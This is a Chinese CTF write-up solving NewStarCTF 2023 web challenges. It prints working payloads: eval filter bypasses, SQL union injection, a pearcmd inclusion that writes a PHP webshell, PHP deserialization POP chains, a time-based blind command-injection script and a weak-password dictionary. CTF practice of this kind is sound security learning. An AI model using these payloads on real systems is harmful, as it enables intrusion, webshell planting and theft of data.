NewStarCTF 2023(web)

week1

泄漏的秘密

利用脚本扫描目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

if __name__ == '__main__':
# url为被扫描地址,后不加‘/’
url1 = 'http://5ecf5c5c-64e6-4e5e-9706-9faea69a3533.node4.buuoj.cn:81'

# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
for j in list2:
back = str(i) + '.' + str(j)
url = str(url1) + '/' + back
print(back + ' ', end='')
print(requests.get(url).status_code)

R!C!E!

题目

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}

题解

利用脚本生成一段符合题目要求的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib

# 目标MD5的前缀
target_prefix = "c4d038"

# 用于生成字符的字符集
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

# 最大尝试次数
max_attempts = len(charset) ** 6 # 6位字符

for i in range(max_attempts):
# 根据当前尝试生成字符串
candidate = ''.join([charset[(i // (len(charset) ** j)) % len(charset)] for j in range(6)])

# 计算MD5哈希值
md5_hash = hashlib.md5(candidate.encode()).hexdigest()

# 检查是否匹配目标前缀
if md5_hash.startswith(target_prefix):
print(f"找到匹配的字符串: {candidate}")
break

6XgGaa

1
2
3
4
5
6
7
password=6XgGaa&e[v.a.l=$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。

用正则匹配绕过

payload

1
2
password=6XgGaa&e[v.a.l=echo `tac /[9-q][9-q][9-q][9-q]`;

Begin of HTTP

1
X-Forwarded-For: 127.0.0.1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?ctf=a HTTP/1.1
Host: 127.0.0.1
User-Agent: NewStarCTF2023
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node4.buuoj.cn:29876
Connection: close
Referer: newstarctf.com
Cookie: power=ctfer
Upgrade-Insecure-Requests: 1
X-Real-IP: 127.0.0.1

secret=n3wst4rCTF2023g00000d

伪造ip一开始用XXF不可以,改用X-Real-IP

Begin of PHP

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
} =Level 1=
=Level 2=
=Level 3=
=Level 4=
=Level 5=
flag{c396af36-378f-490a-a7d0-b5d2a03db7be}

题解

数组绕过匹配

payload:

GET

1
?key1[1]=1&key2[2]=1&key4[]=1&key5[]=1

POST

1
key3[]=&flag5[]=

Screenshot 2023-09-28 120742

Begin of Upload

最普通的文件上传


以下两道没做出来,看别人的writeup

ErrorFlask

随便传入一个带字母的值

image-20231002205406400

EasyLogin

弱口令爆破

字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
password
shadow
test001
a123456
1314wanana
forbidden
1314520
cmscms
cmdcms
BLUECMS
phpshe
666666
123321
5211314
777admin
admin777
123abc
zxcvb
aaaaa
abc123
@admin
@admin123
123@admin
code
minnal
admin
admin123
root
root123
daota
dota123
123456
123456789
111111
from91
12345678
123123
5201314
000000
11111111
a123456
163.com
fill.com
123321
123123123
00000000
1314520
7758521
1234567
666666
123456a
1234567890
woaini
a123456789
888888
88888888
147258369
qq123456
654321
zxcvbnm
woaini1314
112233
5211314
123456abc
520520
aaaaaa
123654
987654321
123456789a
12345
7758258
100200
147258
111222
abc123456
111222tianya
121212
1111111
abc123
110110
789456
q123456
123456aa
aa123456
asdasd
999999
123qwe
789456123
1111111111
1314521
iloveyou
qwerty
password
qazwsx
159357
222222
woaini520
woaini123
521521
asd123
qqqqqq
qq1111
1234
qwe123
111111111
1qaz2wsx
qwertyuiop
5201314520
asd123456
159753
31415926
qweqwe
555555
333333
woaini521
abcd1234
ASDFGHJKL
123456qq
11223344
456123
123000
123698745
wangyut2
201314
zxcvbnm123
qazwsxedc
1q2w3e4r
z123456
123abc
a123123
12345678910
asdfgh
456789
qwe123456
321321
123654789
456852
0000000000
WOAIWOJIA
741852963
5845201314
aini1314
0123456789
a321654
123456123
584520
778899
520520520
7777777
q123456789
123789
zzzzzz
qweasdzxc
5845211314
123456q
w123456
12301230
qq123456789
wocaonima
qq123123
a5201314
a12345678
asdasdasd
a1234567
147852
110120
135792468
CAONIMA
963852741
3.1415926
1234560
101010
7758520
753951
666888
zxc123
CWCMS
cwcms
0000000
zhang123
987654
a111111
1233211234567
789789
25257758
7708801314520
zzzxxx
1111
999999999
1357924680
yahoo.com.cn
123456789q
12341234
5841314520
zxc123456
yangyang
168168
123123qaz
abcd123456
456456
963852
as123456
741852
xiaoxiao
1230123
555666
000000000
369369
211314
102030
aaa123456
zxcvbn
110110110
buzhidao
qaz123
123456.
asdfasdf
123456789.
woainima
123456ASD
woshishui
131421
123321123
dearbook
1234qwer
qaz123456
aaaaaaaa
111222333
qq5201314
3344520
147852369
1q2w3e
windows
123456987
zz12369
qweasd
qiulaobai
66666666
12344321
qwer1234
a12345
7894561230
qwqwqw
777777
110120119
951753
wmsxie123
131420
1314520520
369258147
321321321
110119
beijing2008
321654
a000000
147896325
12121212
123456aaa
521521521
22222222
888999
123456789ABC
abc123456789
12345678900
1q2w3e4r5t
1234554321
www123456
w123456789
336699
abcdefg
709394
258369
z123456789
314159
584521
12345678a
7788521
9876543210
258258
111111a
87654321
123asd
5201314a
134679
135246
hotmail.com
123123a
11112222
131313
100200300
11111
1234567899
520530
251314
qq66666
yahoo.cn
123456qwe
worinima
sohu.com
NULL
518518
123457
q1w2e3r4
721521
123456789QQ
584131421
qw123456
123456..
0123456
135790
3344521
980099
a1314520
123456123456
qazwsx123
asdf1234
444444
123456z
120120
wang123456
12345600
7758521521
12369874
abcd123
a12369
li123456
1234567891
wang123
1234abcd
147369
zhangwei
qqqqqqqq
521125
010203
369258
654123
woailaopo
QAZQAZ
121314
1qazxsw2
zxczxc
l123456
111000
jingjing
0000
1472583690
25251325
langzi123
wojiushiwo
7895123
wangjian
123qweasd
110120130
1123581321
142536
584131420
aaa123
aaa111
woaiwoziji
520123
665544
ab123456
a123456a
fuckyou
99999999
5203344
qwertyui
521314
18881888
584201314
woaini@
7654321
20082008
520131
124578
852456
nihaoma
74108520
232323
55555555
zx123456
wwwwww
119119
weiwei
13145200
LOVE1314
564335
123456789123
wo123456
123520
52013145201314
loveyou
wolf8637
112358
5201314123
yuanyuan
zhanglei
zz123456
1234567A
a11111
000000a
321654987
xiaolong
5841314521
shmily
520025
159951
77585210
tiantian
134679852
QWASZX
123456654321
20080808
zhangjian
123465
9958123
159159
5508386
wangwei
5205201314
woaini5201314
888666
52013141314
qweqweqwe
1122334455
123456789z
585858
33333333
aa123123
qwertyuiop123
q111111
9638527410
911911
qqq111
5213344
sunshine
liu123456
abcdef
zhendeaini
007007
555888
qq111111
jiushiaini
mnbvcxz
xiaoqiang
445566
nicholas
dongdong
123456abcd
111qqq
aptx4869
258456
wobuzhidao
qazxsw
123789456
zhang123456
7215217758991
1234567890123
......
huang123
maomao
222333
wangyang
123456789aa
1.23457E+11
1234566
1230456
1a2b3c4d
13141314
a7758521
123456zxc
123456as
forever
s123456
12348765
xxxxxx
asdf123
a1b2c3d4
246810
333666
mingming
000123
jiajia
12qwaszx
ffffff
112233445566
77585211314
520131400
aa123456789
wpc000821
WANGJING
woaini1314520
&nbsp
000111
qq1314520
1234512345
147147
123456qaz
q123123
123456ab
xiaofeng
wodemima
shanshan
w2w2w2
666999
123456w
321456
feifei
dragon
computer
dddddd
zhangjie
baobao
x123456
q1w2e3
chenchen
12345679
131452
caonima123
asdf123456
tangkai
52013140
longlong
ssssss
www123
1234568
q1q1q1q1
asdfghjkl123
14789632
123456711
michael
tingting
woshishei
asd123456789
1314258
sunliu66
qwert12345
235689
565656
1234569
ww123456
1314159
5211314521
123456789w
123123aa
139.com@163.com
111111q
hao123456
52tiance
19830122
y123456
110119120
1231230
sj811212
13579246810
123.123
superman
789123
12345qwert
770880
js77777
zhangyang
686868
@163.com
imzzhan
xiaoyu
7758521a
abc12345
nihao123
wokaonima
q11111
623623623
989898
122333
13800138000
laopowoaini
787878
123456l
a123123123
198611
332211
tom.com
212121
woaini123456
wanglei
yang123456
zhangqiang
zxcvbnm,./
zhangyan
181818
234567
stryker
167669123
laopo520
2597758
aa5201314
139.com
5201314.
8888888888
74107410
zhanghao
77777777
zhangyu
zzb19860526
qwertyu
5201314qq
198612
q5201314
999888
369852
121121
1122334
123456789asd
123zxc
a123321
QWErtyUIO
456456456
qq000000
m123456
q1w2e3r4t5
woainilaopo
123456789*
131425
liuchang
85208520
zhangjing
c123456
asdfghjk
qq1234
asdzxc
hao123
777888
131131
woainia
beyond
zhang520
556688
123456qw
wangchao
woshiniba
168888
7758991
woshizhu
ainiyiwannian
LAOpo521
abcd123456789
qwerasdf
123456ok
woshinidie
huanhuan
1hxboqg2s
meiyoumima
456321
QQQ123456
1314
898989
123456798
pp.com@163.com
mm123456
123698741
a520520
z321321
asasas
YANG123
584211314
1234561
123456789+
miaomiao
789789789
7788520
AAAAAAa
h123456
3838438
l123456789
198511
ABCDEFG123
zhangjun
123qaz
198512
2525775
54545454
789632145
831213
10101010
xiaohe
19861010
10203
woshishen
0987654321
yj2009
wangqiang
198411
1314520a
xiaowei
123456000
123987
love520
caonimabi
qwe123123
010101
qq666666
789987
10161215
liangliang
qwert123
112112
qianqian
1a2b3c
198410
nuttertools
goodluck
zhangxin
18n28n24a5
liuyang
998877
woxiangni
7788250
a147258369
zhangliang
16897168
223344
123123456
a1b2c3
killer
321123
pp.com
chen123456
wangpeng
753159
775852100
1478963
1213141516
369369369
1236987
123369
12345a
bugaosuni
13145201314520
110112
123456...
JIAOJIAO
100100
1314520123
19841010
7758521123
shangxin
woshiwo
12312300
xingxing
yingying
1233210
34416912
qq12345
qweasd123
nishizhu
19861020
qwe123456789
808080
1310613106
456789123
44444444
123123qq
3141592653
556677
xx123456
jianjian
a1111111
0.123456
198610
loveme
tianshi
woxihuanni
11235813
252525
225588
lovelove
mengmeng
7758258520
xiaoming
shanghai
huyiming
6543210
a7758258
7788414
123456789..
Jordan
nishiwode
ZHUZHU
1314woaini
chenjian
131415
xy123456
123456520
a00000
jiang123
WOAIMAMA
monkey
7418529630
lingling
987456321
w5201314
qwer123456
198412
asdasd123
zzzzzzzz
1q1q1q
741741
987456
19851010
2587758
456654
Iloveyou1314
q12345
imissyou
daniel
aipai
2222222
0147258369
123456789l
q1234567
963963
123123123123
125521
womendeai
baobei520
19861015
667788
000000.
zhangtao
yy123456
chen123
nishishui
789654
liu123
19861212
1230
19841020
wangjun
wangliang
zhangpeng
woainimama
zhangchao
5201314q
19841025
123567
aaaa1111
123456+
134679258
668899
811009
qaz123456789
123456789qwe
111112
130130
19861016
wozhiaini
198712
123...
abcde12345
abcd12345
wanggang
llllll
5121314
456258
125125
qq7758521
369963
987987
142857
poiuytrewq
qqq123
323232
baobei
g227w212
962464
mylove
p1a6s3m
202020
19491001
963258
hhhhhh
2582587758
wangfeng
tiancai
11111111111
summer
wangwang
asd123123
19841024
xinxin
0.0.0.
19861012
19861210
8888888
zhanghui
wenwen
635241
ASDFGHJ
19861023
1234567890.
888168
19861120
tianya
123aaa
111aaa
123456789aaa
8008208820
123123q
football
dandan
www123456789
19861026
qingqing
315315
1111122222
171204jg
19861021
5555555
AS123456789
qqqwww
19861024
yahoo.com
19861225
1qaz1qaz
19871010
1029384756
123258
zxcv123
19861123
1314520.
aidejiushini
123qwe123
198711
operation
19861025
yu123456
19851225
wangshuai
19841015
520521
wangyan
19861011
7007
123456zz
521000
198311
299792458
112211
******
00000
qwer123
51201314
qazwsxedcrfv
LOVE5201314
198312
198510
888888888
1314521521
internet
z123123
a147258
696969
1234321
476730751
5201314789
012345
19861022
welcome
aqwe518951
19861121
HUANGwei
868686
wanghao
NIAIWOMA
xiaojian
19851120
19851212
100000
19841022
zhangbin
shadow
mmmmmm
000...
1357913579
77585217758521
19861216
19841016
az123456
zxcv1234
19841023
wu123456
163163
2008520085
pppppp
789654123
EtnXtxSa65
19851025
woaiwolaopo
ww111111
woaini110
123455
19841026
19881010
www163com
159357456
fangfang
19851015
19861013
19861220
12312
19861018
19861028
a11111111
19841018
119911
AI123456
198211
55555
zhangkai
wangxin
xihuanni
19871024
19861218
16899168
1010110
nimabi
19861125
52013143344
131452000
19871020
freedom
baobao520
winner
123456m
12312312

image-20231002210800952

image-20231002210937734

week2

游戏高手

题目

又是可恶的飞机大战>.<

题解

在app_v2.js中看到这个分数API的格式,之前做题的时候眼瞎没看到,呜呜呜。。。

QQ图片20231019231011

然后传参

image-20231019231624440

访问

1
http://b0936251-3425-4218-bc30-7e8d120ba7df.node4.buuoj.cn:81/api.php

payload:

1
{"score":999999}

include 0。0

题目

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope

题解

进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用php://filter协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。

还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:

1
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php

image-20231020193238729

得到flag.php文件经过编码后的内容

然后utf7转换成utf8

Unserialize?

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}

@unserialize($_POST['unser']);
?>

题解

考察PHP反序列化,private变量输出时变量名和值要加%00

构造序列化脚本,然后查看源代码复制传参

R!!C!!E!!

题目

打开环境后看到

image-20231020193658207

也考察了信息搜集

题解

我看来官方的wp说用dirsearch扫到/.git文件,我扫了一遍没扫到,可能是字典不行,算了先继续

然后用Githack

1
python Githack.py http://e25b44db-b28d-48ab-9398-393d6352a0e0.node4.buuoj.cn:81/.git/

image-20231020205625541

发现有这几个文件,打开查看/bo0g1pop.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

highlight_file(__FILE__);

if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {

if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){

eval($_GET['star']);

}

}

#

第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。

第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。

payload(使用 bp 发送的请求):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1

Host: faf83665-1a88-473a-b765-ddd33c6cf370.node4.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

X-Forwarder-Proto: system('cat /f*');

Upgrade-Insecure-Requests: 1

Upload again!

题目

文件上传

题解

本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测

抓包上传上一次的1.jpg内容为

//绕过<?限制的一句话

第一次尝试上传.htaccess,将1.png当成php文件执行没有成功,别慌还有别的办法

image-20231020202257537

1
AddType application/x-httpd-php .png

将所有的png文件当成php文件执行

来让我试试

image-20231020203124771

成功rce

ez_sql

题目

联合注入

题解

先测试注入

1
id=1' order by 1 --+

image-20231101220902069

发现被过滤了

尝试大小写绕过

image-20231101220945597

是绕过了的

判断字段数。

1
?id=1' uNion Select 1,2,3,4,5#

image-20231101221542450

当增到6的时候就没有回显

image-20231101221523458

得到字段数为5

information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

1
information_schema.tables 记录表名信息 information_schema.columns 记录列名信息 TABLE_SCHEMA 数据库字段 table_name 表名 column_name 列名

查询表名

1
?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23

image-20231101223052731

查询字段名

1
?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23

对上局有两处修改select group_concat()内的table_name改为column_name

where后面改为table_name=’here_is_flag’实现对名为here_is_flag的表的查询

查询Flag值:

1
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23

from后面的表名不用加单引号,应该是等于号后面才要加双引号

image-20231101223715596

week3

Include 🍐

题目

LFI(本地文件包含) to RCE

本题主要考察pearcmd文件包含,在register_argc_argv为on的环境下,通过包含pearcmd.php和传参可实现rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

看提示本地文件包含来命令注入

题解

先包含phpinfo文件

image-20231023153800805

image-20231023154001310

看到register_argc_argv是打开的,

利用pearcmd文件包含达成rce

payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_GET[0]);?>+/tmp/cmd.php

file的路径为安装pear的绝对路径/usr/local/lib/php/pearcmd

config-create为pearcmd的命令,Create a Default configuration file,在tmp目录下创建cmd.php并且将一句话木马写入,然后包含绝对路径的/tmp/cmd.php文件传参即可。

成功写入命令文件

然后获取flag

1
?file=/tmp/cmd&0=system("tac%20/f*");

image-20231023162143423

image-20231023162311989

POP Gadget

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

看起来是一道反序列化的题目

题目提示:你说的对,但是什么是POP呢?那么你就要先知道什么是PHP的魔术方法

题解

题目主要考察POP链构造,整个链子比较简单。从Begin的__destruct析构函数作为起点开始,构造POP链触发到WhiteGod的__unset方法,__unset方法中存在一个函数的动态调用,可以实现RCE。

POP Gadget如下:

1
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

写一个链子

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
class Begin{
public $name;
public function __construct($a)
{
$this->name = $a;
}
}
class Then{
private $func;
public function __construct($a)
{
$this->func= $a;
}
}
class Handle
{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class Super
{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}
}
class CTF
{
public $handle;
public function __construct($a)
{
$this->handle = $a;
}
}
class WhiteGod
{
public $func;
public $var;
public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}// POP Gadget: // Begin::__destruct -> Then::toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset
$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))));
echo urlencode(serialize($obj));
    • Begin 类有一个公共属性 $name 和一个构造函数,用于设置 $name 属性的值。
    • Then 类有一个私有属性 $func 和一个构造函数,用于设置 $func 属性的值。
    • Handle 类有一个受保护的属性 $obj 和一个构造函数,用于设置 $obj 属性的值。
    • Super 类有一个受保护的属性 $obj 和一个构造函数,用于设置 $obj 属性的值。
    • CTF 类有一个公共属性 $handle 和一个构造函数,用于设置 $handle 属性的值。
    • WhiteGod 类有两公共属性 $func$var,以及一个构造函数,用于设置这两个属性的值。
  1. 在代码的最后,创建一个嵌套对象:
    • WhiteGod 类的构造函数参数为 “readfile” 和 “/flag”,因此创建了一个 WhiteGod 对象。
    • 这个 WhiteGod 对象作为参数传递给 CTF 类的构造函数,创建了一个 CTF 对象。
    • CTF 对象作为参数传递给 Handle 类的构造函数,创建了一个 Handle 对象。
    • Handle 对象作为参数传递给 Super 类的构造函数,创建了一个 Super 对象。
    • 最后,Super 对象作为参数传递给 Then 类的构造函数,创建了一个 Then 对象。
    • Then 对象作为参数传递给 Begin 类的构造函数,创建了一个 Begin 对象。
  2. 这一系列对象的嵌套关系表示了一个调用链,其中每个对象的构造函数将其参数传递给下一个对象。这是为了构造一个特定的对象层次结构,以便在序列化时触发特定的方法调用。
  3. 最后,$obj 是包含了整个对象层次结构的 Begin 对象。
  4. serialize($obj) 函数用于将整个对象序列化为一个字符串。
  5. urlencode() 函数用于将序列化后的字符串进行 URL 编码,以确保生成的序列化只服从不会落下不可见字符

image-20231023173636111

R!!!C!!!E!!!

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

题解

没有一点思路,看了官方的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import time
import requests
url = "http://71f35dea-39e4-45fe-b073-bd1a11909486.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 2;fi"
length=len(payload)
payload2 ={
"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >1.5:
result+=k
print(result)
result += " "
